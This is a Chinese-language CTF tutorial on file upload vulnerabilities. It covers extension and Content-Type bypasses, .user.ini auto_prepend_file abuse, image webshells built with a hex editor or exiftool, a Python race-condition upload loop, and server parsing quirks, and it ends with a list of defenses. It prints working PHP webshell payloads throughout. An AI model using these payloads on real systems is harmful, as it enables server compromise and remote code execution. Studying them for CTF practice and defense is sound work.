CTF文件上传漏洞：绕过技巧与防御策略

1. CTF文件上传挑战的核心逻辑

在CTF比赛中，文件上传类题目通常考察选手对Web安全机制的绕过能力。153-170这组题目设计了一个渐进式的学习路径，从基础的文件类型绕过开始，逐步深入到服务器配置漏洞的利用。这类题目模拟了真实Web应用中常见的文件上传功能，但故意留下安全漏洞供参赛者挖掘。

文件上传漏洞的本质是服务器对用户提交的文件内容检查不严，导致恶意文件被上传并执行。在CTF环境中，这通常表现为上传Webshell获取服务器控制权。题目编号的递增往往意味着防护措施的增强，需要选手不断调整攻击策略。

2. 基础绕过技巧与.user.ini妙用

2.1 常规文件类型检测绕过

大多数初级题目会检查文件扩展名和Content-Type。常见绕过方式包括：

• 修改文件扩展名（如.php5、.phtml）
• 伪造Content-Type（image/jpeg）
• 添加特殊字符（%00截断）
• 大小写混淆（.PhP）

实际操作中，我会先用Burp Suite拦截上传请求，系统性地修改每个参数测试过滤规则。例如：

code复制POST /upload.php HTTP/1.1
...
Content-Disposition: form-data; name="file"; filename="shell.jpg.php"
Content-Type: image/jpeg

<?php @eval($_POST['cmd']);?>

2.2 .user.ini的利用艺术

当直接上传PHP文件被禁止时，.user.ini文件可以成为突破口。这个配置文件可以指定PHP自动包含的文件。典型攻击步骤：

1. 上传包含以下内容的.user.ini：

   code复制auto_prepend_file=shell.jpg
   

2. 上传图片马shell.jpg，内容包含Webshell代码
3. 访问同目录下任意PHP文件触发执行

关键点在于服务器必须允许上传.ini文件，且PHP配置允许使用auto_prepend_file指令。在CTF环境中，这通常是题目设计的预期解法。

3. 图片马的进阶制作技巧

3.1 二进制层面隐藏Webshell

真正的图片马不是简单地在图片末尾追加PHP代码，而是要保持图片的正常解析。推荐使用hex编辑器手动修改：

1. 用GIMP创建最小尺寸的PNG图片（67字节）
2. 在IDAT块结束后添加PHP代码：

   code复制<?php /* 你的代码 */ ?>
   

3. 确保图片的CRC校验值正确

专业工具如exiftool也可以注入：

bash复制exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
mv image.jpg image.php.jpg

3.2 检测绕过实战

当题目检查文件内容时，需要确保图片马能通过getimagesize()等检测：

1. 保持有效的图片文件头（如FF D8 FF E0）
2. 关键位置不出现<?php等可疑字符串
3. 使用图片EXIF、注释等隐蔽位置存放代码

一个经过验证的有效payload：

php复制#define width 1337
#define height 1337
<?php system($_GET['cmd']);?>

4. 高阶题目突破思路

4.1 条件竞争漏洞利用

某些题目会先保存上传文件再进行安全检查。这时可以：

1. 编写脚本持续快速上传Webshell
2. 同时暴力访问可能的上传路径
3. 利用检查与删除的时间差执行代码

Python示例：

python复制import requests
while True:
    requests.post(url, files={'file': ('shell.php', '<?php system($_GET["c"]);?>')})
    requests.get(url+'uploads/tmp/shell.php?c=id')

4.2 解析漏洞组合拳

配合服务器解析特性：

• Apache的罕见扩展名解析（test.php.xxx）
• Nginx的路径解析错误（/test.jpg/.php）
• IIS的分号截断（shell.jpg;.php）

这些需要根据服务器返回的报错信息判断环境特性。

5. 防御视角的思考

从出题者角度，这些题目展示了文件上传漏洞的完整攻击面。实际开发中应该：

1. 白名单验证文件扩展名和MIME类型
2. 存储上传文件时重命名（如UUID）
3. 禁用危险函数（如system、eval）
4. 文件保存在非Web可访问目录
5. 使用单独域名提供文件下载

理解攻击手段才能构建有效防御。CTF中的每个绕过技巧都对应着现实中的安全配置疏忽。